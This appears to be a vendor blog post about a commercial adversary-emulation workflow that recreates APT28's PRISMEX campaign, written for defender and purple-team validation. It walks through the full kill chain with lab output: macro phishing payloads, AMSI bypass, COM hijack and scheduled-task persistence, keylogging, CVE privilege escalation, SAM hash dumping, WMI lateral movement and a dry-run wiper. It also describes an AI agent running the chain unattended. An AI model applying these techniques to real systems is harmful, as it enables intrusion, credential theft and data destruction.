Emulating APT28 PRISMEX with SpecterInsight

TLP:AMBER · For authorized operational and training use only SpecterInsight v7.0.0

Adversary Emulation  ·  APT28 / Pawn Storm  ·  2022–2025

PRISMEX

Full kill chain emulation of Pawn Storm / APT28: from spear-phishing delivery through credential harvesting, WMI lateral movement, and a destructive user-profile wiper. Executed as a 33-cell SpecterInsight Workflow.

Threat Actor APT28 / Pawn Storm
Campaign PRISMEX 2022–2025
Malware PrismexDrop · PrismexLoader · PrismexSheet
Workflow 11 Phases · 33 Cells
Target Region Eastern Europe / Ukraine

PRISMEX is a SpecterInsight threat emulation Workflow that recreates the attack chain associated with Pawn Storm (APT28). Across 11 phases and 33 cells, it progresses from spear-phishing and initial access through persistence, privilege escalation, credential harvesting, lateral movement, and destructive actions.

This post walks through the complete Workflow, showing how documented APT28 behaviors and indicators are translated into a repeatable adversary emulation for validating detection and response coverage.

§2: Phase Walkthrough

Phase-by-Phase Execution

Campaign-defining phase
Supporting phase

Phase 0 Configuration One-time parameter collection

The Workflow opens with a single configuration cell. The operator sets a build name (PrismexNotebook), callback URL, SMTP credentials for phishing delivery, and a lateral movement target. Three lure themes are pre-defined: Hydro-meteorological Warning, Military Training Invitation, and Weapon Smuggling Alert, matching the social engineering themes from the actual campaign.

This is the only time the operator touches campaign parameters. Every downstream script cell reads from these variables. The same Workflow runs against a different environment by changing six values.

Phase 1 Infrastructure Setup

Specter-BuildsCreate provisions an implant build and Specter-ListenersCreate stands up an HTTPS listener. Both are idempotent: if infrastructure already exists under the same build name, the cells return the existing resource. TLS certificate provisioning runs via Specter-CertificatesCreate before the listener starts.

Phase 2 Payload Generation DOCM in encrypted ZIP

The generic_zip_encrypted pipeline wraps a ps_word_document payload inside a password-protected ZIP archive. The Word document contains an AutoOpen VBA macro that cradles a two-stage PowerShell payload: a download-execute stub fetches the obfuscated stage-2 loader, which suppresses AMSI and loads the implant binary into memory via Assembly.Load. Nothing touches disk beyond the lure document itself.

The document is generated by New-TrojanizedDocument, which injects the VBA payload into a legitimate source document without altering visible content.

MITRE: T1204.002 · T1059.001    Pipelines: ps_word_document · generic_zip_encrypted

Phase 3 Spear-Phishing Email Delivery

Send-PhishingEmail delivers the ZIP archive as an attachment using the SMTP credentials from Phase 0. Find-SmtpSettings pre-validates the sender configuration before the campaign begins. The ZIP password is included in the email body: defeating email scanners that cannot process encrypted archives while giving the impression of a security-protected file.

MITRE: T1566.001

Phase 4 Initial Access PrismexSheet decoy

The Workflow waits for an implant callback with Specter-SessionsWait (up to ten minutes). Once the session appears, it immediately runs the Display Decoy Document script: opening a legitimate-looking document as a decoy while the implant runs in the background.

MITRE: T1204.002 · T1059.001

Live Output · Cell 11 ● ● ●
[*] Using existing active session.
[+] Session: 34f39fa64e874c24aae3ff7d8f122da9  User: LAB\Administrator  Host: WIN-10-19043-64.LAB.NET

Phase 5 COM DLL Hijack Persistence PrismexDrop

Establish COM DLL Hijack Persistence drops a DLL to C:\Users\Public\adwapi64.dll and registers it under HKCU\...\{EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}\InProcServer32. That CLSID is Shell.Explorer.1: the exact CLSID observed in real PrismexDrop samples. HKCU registrations take precedence over HKLM, loading the attacker DLL without elevation.

IOC Fidelity

The exact CLSID, DLL path naming convention, and registry location from PRISMEX campaign documentation: not a generic COM hijack placeholder.

MITRE: T1546.015    IOCs: {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B} · adwapi64.dll

Live Output · Cell 13 ● ● ●
Installed COM hijack: CLSID {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B} -> C:\Users\Public\adwapi64.dll
SHA256: 3cbee61cf992be1194d350bd1f1f1b5ac5480f7395251bd33157e753ef0c3127

Persistence
-----------
Clsid   : {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}
Path    : C:\Users\Public\adwapi64.dll
Method  : COM DLL Hijack
Trigger : OnCOMActivation

Phase 6 Scheduled Task Persistence PrismexDrop secondary anchor

Create OneDriveHealth Scheduled Task stores the PowerShell cradle in user environment variable OneDriveHealthCache. A task named OneDriveHealth fires one minute after every user logon, expanding and executing the cradle. The task name blends with legitimate OneDrive monitoring traffic.

MITRE: T1053.005    IOCs: OneDriveHealth · OneDriveHealthCache

Live Output · Cell 15 ● ● ●
Created OneDriveHealth scheduled task: OneDriveHealth (success=True)

Persistence
-----------
Method  : Scheduled Task (OnLogon)
Trigger : OnLogon
Build   : PrismexNotebook
Profile : User
Success : True
Event   : Create

Phase 6c Architecture Escape WoW64 → 64-bit PowerShell

Office applications run as 32-bit processes under WoW64. Run 64-bit PowerShell Payload invokes the cradle via %SystemRoot%\Sysnative\WindowsPowerShell\v1.0\powershell.exe: accessible to 32-bit processes through the Sysnative redirect. All subsequent phases operate in the 64-bit context.

MITRE: T1059.001

Live Output · Cells 17–18 ● ● ●
[*] Spawning 64-bit PowerShell payload from 32-bit Office process via Sysnative...
[+] 64-bit PowerShell payload launched via Sysnative.

BuildId        : PrismexNotebook
SessionId      : 34f39fa64e874c24aae3ff7d8f122da9
FQDN           : WIN-10-19043-64.LAB.NET
IP             : ::ffff:192.168.1.102
Path           : C:\Windows\System32\wsmprovhost.exe
PID            : 4276
Username       : LAB\Administrator
OS             : Windows 10.0.19043
Architecture   : x64

Phase 7 Process Migration PrismexLoader into explorer.exe

PrismexLoader’s defining behavior is migration into explorer.exe. The Workflow resolves the Explorer PID, then runs Migrate Process with the Classic technique. Explorer runs for the full desktop session lifetime, as the logged-in user, and is rarely terminated by defenders or AV products.

MITRE: T1055 · T1574.002

Live Output · Cell 20 ● ● ●
[*] Migrating into explorer.exe (PID 4456) from 64-bit session 34f39fa64e874c24aae3ff7d8f122da9...

PID       : 4400
Username  : WIN-10-19043-64\john.local
Path      : C:\Windows\explorer.exe
Build     : PrismexNotebook
Technique : Classic

[+] Migrated into explorer.exe - session: 132f5a40005b45729f3298bb8f016358

Phase 7b Screen Capture and Keylogging

Start Keylogger installs a session-level keylogger. Get Screenshot captures the current desktop, and Background Screenshots continues at fifteen-second intervals for five minutes: producing a timeline of victim activity in the window following access.

MITRE: T1056.001 · T1113

Live Output · Cell 22 ● ● ●
[*] Starting keylogger in explorer session...
[*] Capturing initial screenshot...

Filename                            Size
--------                            ----
screenshot-2026-08-11-12-04-47.jpg 63495

[*] Starting background screenshots (5 min, 15s interval)...
[*] Background screenshots running async.

Phase 8 Post-Exploitation Reconnaissance

Four reconnaissance scripts run in sequence: Get System Info via API collects OS version and hardware details; Get Current Process Information captures integrity level; Get Antivirus Information queries WMI for security products; and Get Most Recently Modified Microsoft Office Files enumerates documents modified in the last thirty days: specific to APT28’s document-collection objective.

MITRE: T1082 · T1057 · T1518.001 · T1083

Live Output · Cell 24 ● ● ●
[*] Collecting system info...

Hostname                : WIN-10-19043-64
Domain                  : lab.net
ProductName             : Windows 10 Pro
Version                 : Microsoft Windows NT 10.0.19043.0
Architecture            : AMD64
IsVirtualMachine        : True

[*] Collecting process context...

CommandLine    : C:\Windows\Explorer.EXE
IntegrityLevel : Medium
PID            : 4456
Username       : WIN-10-19043-64\john.local
Architecture   : x64

[*] Checking AV/EDR posture...

DisplayName      ProductState
-----------      ------------
Windows Defender 397584

Windows Defender is the sole security product on this host. The obfuscated two-stage loader completed the full session lifecycle without triggering a detection on Windows 10 21H1 with default Defender configuration.

Phase 8b Privilege Escalation LevelUp Integration

Survey LevelUp Techniques enumerates applicable CVE-based escalation techniques for the current host. Invoke LevelUp Privilege Escalation iterates through them until a SYSTEM-level session is obtained. The Workflow does not hardcode a single escalation path: it surveys what the target is vulnerable to and adapts accordingly.

MITRE: T1068

Live Output · Cell 26 ● ● ●
Current context: WIN-10-19043-64\john.local
[*] Surveying LevelUp techniques...

CVE            Description
---            -----------
CVE-2021-34527 Windows Print Spooler LPE (PrintNightmare)
CVE-2022-21999 Windows Print Spooler LPE (SpoolFool)
CVE-2024-21447 Windows User Manager AccountPicture EoP
CVE-2024-49039 Windows Task Scheduler NCALRPC sandbox escape

[*] 4 technique(s): CVE-2021-34527, CVE-2022-21999, CVE-2024-21447, CVE-2024-49039
[*] Trying CVE-2021-34527...
  Queued: 401a79a673b14727900ce9cd3463ae54
  [-] No SYSTEM session after 45s - trying next.
[*] Trying CVE-2022-21999...
  Queued: c559282d8de34f9db537c20de91f4030
  [+] CVE-2022-21999 succeeded - elevated session: a92cf0101cd3458da276e0a4158b76df
=== ElevatedSessionId: a92cf0101cd3458da276e0a4158b76df ===

Phase 9 Credential Harvesting

Four operations run from the elevated session: Dump User Hashes extracts NTLM hashes from the SAM database; Get Autologin Credentials reads plaintext credentials from the AutoLogon registry key; Get Stored Passwords From the Windows Credential Manager enumerates the vault; and Find Credential Files locates SSH keys, KeePass databases, and VPN configs. No Mimikatz binary on disk, no LSASS read.

MITRE: T1003.002 · T1552.002 · T1555 · T1552.001

Live Output · Cell 28 ● ● ●
[*] Dumping local user hashes via elevated session...

DomainName : WIN-10-19043-64
UserName   : john.local
Lm         : 00000000000000000000000000000000
Ntlm       : bc007082d3277785****************
Sha1       : c44e77aa5d3caed6ca7e9e59f553fe64ce4000d2

DomainName : LAB
UserName   : WIN-10-19043-64$
Ntlm       : c66de131a3c6c8a0****************

[*] Checking autologin credentials...

DefaultUserName  DefaultPassword
---------------  ---------------
john.local       1qaz!QAZ

[*] Extracting Windows Credential Manager...

RecordType   : Artifact
Category     : WindowsCredentialManager
ArtifactType : StoredCredential
Confidence   : High
FullName     : ...\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
LengthBytes  : 11152 / IsHidden : True

Three Independent Credential Sources

SAM NTLM hashes (pass-the-hash ready), plaintext autologon credentials from the registry, and Windows Credential Manager blobs: all recovered without touching LSASS or dropping a Mimikatz binary.

Phase 10 Lateral Movement via WMI

Lateral Movement with WMI and PowerShell Cradle via API delivers an implant to the lateral target using domain credentials from Phase 9. The technique uses Win32_Process.Create over WMI: no SMB share written, no scheduled task on the target, no service registered. WMI execution from a domain-joined host blends with normal administrative traffic.

MITRE: T1021.006 · T1047

Live Output · Cell 30 ● ● ●
Username : [email protected]
Build    : PrismexNotebook
Payload  : ps_command
PID      : 112
Success  : True
Method   : WMI Process Create

[+] Lateral session: c296b26bd82d43b288f3b3ac2336bd46 on DC1.LAB.NET

Phase 11 User Profile Wiper PRISMEX destructive payload

Invoke User Profile Wiper enumerates all files under Desktop, Documents, Downloads, Pictures, Videos, Music, and AppData\Local\Temp: the exact directories targeted in the October 2025 Pawn Storm incident. By default DryRun=$true lists files that would be deleted without touching them.

Default-Safe Destructive Emulation

DryRun=$true is the default. Defenders see every telemetry event the wiper generates: file enumeration, directory traversal, process tree: without data loss. Setting DryRun=$false requires explicit operator intent.

MITRE: T1485 · T1070.004

Live Output · Cell 32 (excerpt) ● ● ●
[*] Running wiper in DryRun mode - listing files only.
[DRY RUN] C:\Users\john.local\Desktop\Email-Monitor.ps1 (18019 bytes)
[DRY RUN] C:\Users\john.local\Desktop\LevelUpAgent-win-x64\LevelUp.Agent.exe (76238149 bytes)
[DRY RUN] C:\Users\john.local\Documents\Outlook Files\Outlook.pst (271360 bytes)
[DRY RUN] C:\Users\john.local\AppData\Local\Temp\WIN-10-19043-64-20260811-0744.log (28654 bytes)
... (85 additional files across Desktop, Documents, AppData\Local\Temp)

[*] DRY RUN: 90 file(s) / 121.83 MB would be deleted.

§3: Platform Capabilities

Why Workflows, Not Scripts

A script is brittle: it assumes sequential success and fails silently at step five if step four produced unexpected output. A Workflow is interactive: each cell shows its output before the next cell runs. The playbook is authoritative documentation and an execution engine at the same time.

Repeatability

Same Workflow, different target

Change six variables in Phase 0 and the entire chain re-executes against a new environment. Everything else is encoded in the workflow.

IOC Fidelity

Campaign-accurate indicators

The exact CLSID, DLL naming, task name, and wiper directories from PRISMEX documentation. Detection rules written against this emulation match real PrismexDrop behavior.

AI Orchestration

Runs autonomously under the agent

The SpecterInsight AI agent can drive the entire Workflow. It reads output, polls for sessions, and continues without manual intervention.

Adaptive Escalation

LevelUp adapts to the target

Phase 8b surveys and selects from the full LevelUp CVE library. SYSTEM access on patched and unpatched hosts without manual technique selection.

Safe Destructive

Wiper emulation without data loss

DryRun generates all wiper telemetry while files remain intact. Purple teams validate detection coverage without accepting data loss.

Memory-Only Implant

Never touches disk

Two-stage loader uses Assembly.Load. The payload exists only in memory from the moment the macro executes. Disk forensics finds nothing.

§4: Workflow Structure

What a Cell Looks Like

Each Workflow cell is one of three types: markdown (documents technique and MITRE ID), parameter (collects values available to all subsequent cells), or script (executes PowerShell against live sessions). A Phase 5 script cell looks like this:

SpecterInsight Workflow · Phase 5 Script Cell ● ● ●
# Establish COM DLL Hijack Persistence (PrismexDrop: T1546.015)
#
# Registers an attacker-controlled DLL as the InProcServer32 handler
# for Shell.Explorer.1 in HKCU: takes precedence over HKLM, no elevation required.

$result = Specter-ScriptRun -Session $sessionId `
    -ScriptName "Establish COM DLL Hijack Persistence" `
    -Arguments @{
        Clsid   = "{EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}"
        DllPath = "C:\Users\Public\adwapi64.dll"
    }

Specter-ImplantTasksWait -TaskId $result.TaskId

§5: MITRE ATT&CK Coverage

Full Technique Mapping

Technique ID Technique Name Phase
T1566.001Phishing: Spearphishing Attachment3: Email Delivery
T1204.002User Execution: Malicious File4: Initial Access
T1059.001Command and Scripting: PowerShell4, 6c
T1546.015Event Triggered Execution: COM Hijacking5: COM Persistence
T1053.005Scheduled Task/Job: Scheduled Task6: Task Persistence
T1055Process Injection7: Migration
T1574.002Hijack Execution Flow: DLL Side-Loading7: Migration
T1056.001Input Capture: Keylogging7b: Collection
T1113Screen Capture7b: Collection
T1082System Information Discovery8: Recon
T1057Process Discovery8: Recon
T1518.001Software Discovery: Security Software8: Recon
T1083File and Directory Discovery8: Recon
T1068Exploitation for Privilege Escalation8b: Priv Esc
T1003.002OS Credential Dumping: SAM9: Credentials
T1552.002Unsecured Credentials: Credentials in Registry9: Credentials
T1555Credentials from Password Stores9: Credentials
T1552.001Unsecured Credentials: Credentials in Files9: Credentials
T1021.006Remote Services: Windows Remote Management10: Lateral
T1047Windows Management Instrumentation10: Lateral
T1485Data Destruction11: Wiper
T1070.004Indicator Removal: File Deletion11: Wiper

§6: Summary

Repeatable, Accurate, Complete

The value of the PRISMEX Workflow is not any individual technique. Most of what it does: COM DLL hijacks, scheduled tasks, WMI lateral movement: is implemented in dozens of red team tools. What distinguishes it is the structure: these techniques in this sequence, against these IOCs, with this campaign context baked in at every step.

A defender who runs detection engineering against the PRISMEX Workflow is validating coverage against a documented Pawn Storm attack pattern, not against a generic COM hijack test. A purple team that runs it produces telemetry with real APT28 IOCs embedded: the specific CLSID, the specific DLL path, the specific task name. When a detection rule written against that exercise is deployed to production, it has been validated against accurate campaign indicators.

That is what adversary emulation is supposed to produce. Phase 0 is the only configuration step. Everything after it is execution.

PRISMEX ships in SpecterInsight v7.0.0

Available in the Workflows panel alongside the GIFTEDCROOK, Earth Kasha, and ClickOnce COM hijack attack chain workflows. Each encodes a distinct threat actor, delivery mechanism, and post-exploitation objective. See the v7.0.0 release notes for the full feature summary.


PRISMEX Campaign Emulation · SpecterInsight v7.0.0 · Practical Security Analytics LLC · For authorized operational and training use only.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top